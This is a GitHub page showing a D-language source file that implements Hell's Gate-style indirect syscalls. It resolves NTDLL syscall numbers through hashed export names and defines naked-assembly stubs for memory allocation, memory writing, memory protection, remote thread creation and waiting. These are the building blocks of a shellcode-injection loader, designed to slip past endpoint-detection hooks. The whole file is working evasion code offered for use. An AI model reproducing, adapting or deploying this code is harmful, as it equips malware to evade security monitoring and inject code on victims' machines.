-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathsyscalls.d
337 lines (249 loc) · 7.92 KB
/
syscalls.d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
module syscalls;
import core.sys.windows.windows;
import core.stdcpp.vector;
import std.stdio;
extern (C) int strncmp ( const char * str1, const char * str2, size_t num );
T rvaToVa(T) (DWORD_PTR peBase, DWORD offset) {
return cast(T)(peBase + offset);
}
PVOID getImage(string targetMod) {
return cast(PVOID)GetModuleHandleA(cast(LPCSTR)targetMod);
}
DWORD djb2(LPCSTR str) {
DWORD dwHash = 0x25636360;
DWORD strLen = lstrlenA(str);
for (SIZE_T i = 0; i < strLen; i ++) {
dwHash = ((dwHash << 0x5) + dwHash) + str[i];
}
return dwHash;
}
PIMAGE_EXPORT_DIRECTORY parseExportDirectory(PVOID peImage) {
auto peBase = cast(DWORD_PTR)peImage;
PIMAGE_DOS_HEADER dosHdr = cast(PIMAGE_DOS_HEADER)(peBase);
PIMAGE_NT_HEADERS ntHdrs = rvaToVa!PIMAGE_NT_HEADERS(peBase, dosHdr.e_lfanew);
IMAGE_OPTIONAL_HEADER optHdr = ntHdrs.OptionalHeader;
IMAGE_FILE_HEADER fileHdr = ntHdrs.FileHeader;
auto expDir = rvaToVa!PIMAGE_EXPORT_DIRECTORY(peBase, cast(DWORD)optHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
return expDir;
}
struct VxTableEntry {
PVOID pAddress;
PVOID jmpAddr;
DWORD dwHash;
WORD wSystemCall;
}
vector!VxTableEntry syscallEntries = vector!VxTableEntry(Default);
void populateSyscallEntries() {
auto peImage = getImage("NTDLL");
auto peBase = cast(DWORD_PTR)(peImage);
auto expDir = parseExportDirectory(peImage);
PDWORD addrOfNames = rvaToVa!PDWORD(peBase, expDir.AddressOfNames);
PDWORD addrOfFuncs = rvaToVa!PDWORD(peBase, expDir.AddressOfFunctions);
PWORD addrOfNameOrds = rvaToVa!PWORD(peBase, expDir.AddressOfNameOrdinals);
for (SIZE_T i = 0; i < expDir.NumberOfFunctions - 1; i++) {
VxTableEntry vxTableEntry;
LPCSTR fnName = rvaToVa!LPCSTR(peBase, addrOfNames[i]);
WORD fnOrd = addrOfNameOrds[i];
PVOID fnAddr = rvaToVa!PVOID(peBase, addrOfFuncs[fnOrd]);
if (!strncmp(fnName, "Nt", 2)) {
vxTableEntry.pAddress = fnAddr;
vxTableEntry.dwHash = cast(uint)djb2(fnName);
auto pAddress = cast(PBYTE)fnAddr;
WORD cw = 0;
while (TRUE) {
if (*cast(PBYTE)(pAddress + cw) == 0x0f && *cast(PBYTE)(pAddress + cw + 1) == 0x05) {
vxTableEntry.jmpAddr = cast(PVOID) (pAddress + cw);
syscallEntries.push_back(vxTableEntry);
break;
}
if (*cast(PBYTE)(pAddress + cw) == 0xc3) {
break;
}
if (*cast(PBYTE)(pAddress + cw) == 0x4c && *cast(PBYTE)(pAddress + cw + 1) == 0x8b && *cast(PBYTE)(pAddress + cw + 2) == 0xd1 && *cast(PBYTE)(pAddress + cw + 6) == 0x00 && *cast(PBYTE)(pAddress + cw + 7) == 0x00) {
BYTE high = *cast(PBYTE)(pAddress + 5 + cw);
BYTE low = *cast(PBYTE)(pAddress + 4 + cw);
WORD ssn = (high << 8) | low;
vxTableEntry.wSystemCall = ssn;
}
cw++;
}
}
}
}
DWORD getSyscallNumber(DWORD hash) {
foreach( VxTableEntry tableEntry; syscallEntries ) {
if (tableEntry.dwHash == hash) {
return tableEntry.wSystemCall;
}
}
return -1;
}
PVOID getSyscallJmpAddr(DWORD hash) {
foreach( VxTableEntry tableEntry; syscallEntries ) {
if (tableEntry.dwHash == hash) {
return tableEntry.jmpAddr;
}
}
return NULL;
}
alias NTSTATUS = uint;
extern(Windows) NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
) {
asm {
naked;
mov [RSP +8], RCX;
mov [RSP+16], RDX;
mov [RSP+24], R8;
mov [RSP+32], R9;
sub RSP, 0X28;
mov ECX, 0x94cc9347; // NTAVM Hash
call getSyscallJmpAddr;
add RSP, 0X28;
mov R11, RAX;
sub RSP, 0x28;
mov ECX, 0x94cc9347; // NTAVM Hash
call getSyscallNumber;
add RSP, 0x28;
mov RCX, [RSP+8];
mov RDX, [RSP+16];
mov R8, [RSP+24];
mov R9, [RSP+32];
mov R10, RCX;
jmp R11;
ret;
}
}
extern (Windows) NTSTATUS NtWriteVirtualMemory(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T NumberOfBytesToWrite,
PSIZE_T NumberOfBytesWritten
) {
asm {
naked;
mov [RSP +8], RCX;
mov [RSP+16], RDX;
mov [RSP+24], R8;
mov [RSP+32], R9;
sub RSP, 0X28;
mov ECX, 0xdec7016d; // NTWVM Hash
call getSyscallJmpAddr;
add RSP, 0X28;
mov R11, RAX;
sub RSP, 0x28;
mov ECX, 0xdec7016d; // NTWVM Hash
call getSyscallNumber;
add RSP, 0x28;
mov RCX, [RSP+8];
mov RDX, [RSP+16];
mov R8, [RSP+24];
mov R9, [RSP+32];
mov R10, RCX;
jmp R11;
ret;
}
}
extern(Windows) NTSTATUS NtProtectVirtualMemory(
HANDLE ProcessHandle,
PVOID *BaseAddress,
PULONG NumberOfBytesToProtect,
ULONG NewAccessProtection,
PULONG OldAccessProtection
) {
asm {
naked;
mov [RSP +8], RCX;
mov [RSP+16], RDX;
mov [RSP+24], R8;
mov [RSP+32], R9;
sub RSP, 0X28;
mov ECX, 0xd33a9f63; // NTPVM Hash
call getSyscallJmpAddr;
add RSP, 0X28;
mov R11, RAX;
sub RSP, 0x28;
mov ECX, 0xd33a9f63; // NTPVM Hash
call getSyscallNumber;
add RSP, 0x28;
mov RCX, [RSP+8];
mov RDX, [RSP+16];
mov R8, [RSP+24];
mov R9, [RSP+32];
mov R10, RCX;
jmp R11;
ret;
}
}
extern (Windows) NTSTATUS NtCreateThreadEx(
PHANDLE hThread,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
HANDLE ProcessHandle,
PVOID lpStartAddress,
PVOID lpParameter,
ULONG Flags,
SIZE_T StackZeroBits,
SIZE_T SizeOfStackCommit,
SIZE_T SizeOfStackReserve,
PVOID lpBytesBuffer
) {
asm {
naked;
mov [RSP +8], RCX;
mov [RSP+16], RDX;
mov [RSP+24], R8;
mov [RSP+32], R9;
sub RSP, 0X28;
mov ECX, 0xecbec58b; // NTCTX Hash
call getSyscallJmpAddr;
add RSP, 0X28;
mov R11, RAX;
sub RSP, 0x28;
mov ECX, 0xecbec58b; // NTCTX Hash
call getSyscallNumber;
add RSP, 0x28;
mov RCX, [RSP+8];
mov RDX, [RSP+16];
mov R8, [RSP+24];
mov R9, [RSP+32];
mov R10, RCX;
jmp R11;
ret;
}
}
extern (Windows) NTSTATUS NtWaitForSingleObject(
HANDLE Handle,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
) {
asm {
naked;
mov [RSP +8], RCX;
mov [RSP+16], RDX;
mov [RSP+24], R8;
mov [RSP+32], R9;
sub RSP, 0X28;
mov ECX, 0xafac5b77; // NTWSO Hash
call getSyscallJmpAddr;
add RSP, 0X28;
mov R11, RAX;
sub RSP, 0x28;
mov ECX, 0xafac5b77; // NTWSO Hash
call getSyscallNumber;
add RSP, 0x28;
mov RCX, [RSP+8];
mov RDX, [RSP+16];
mov R8, [RSP+24];
mov R9, [RSP+32];
mov R10, RCX;
jmp R11;
ret;
}
}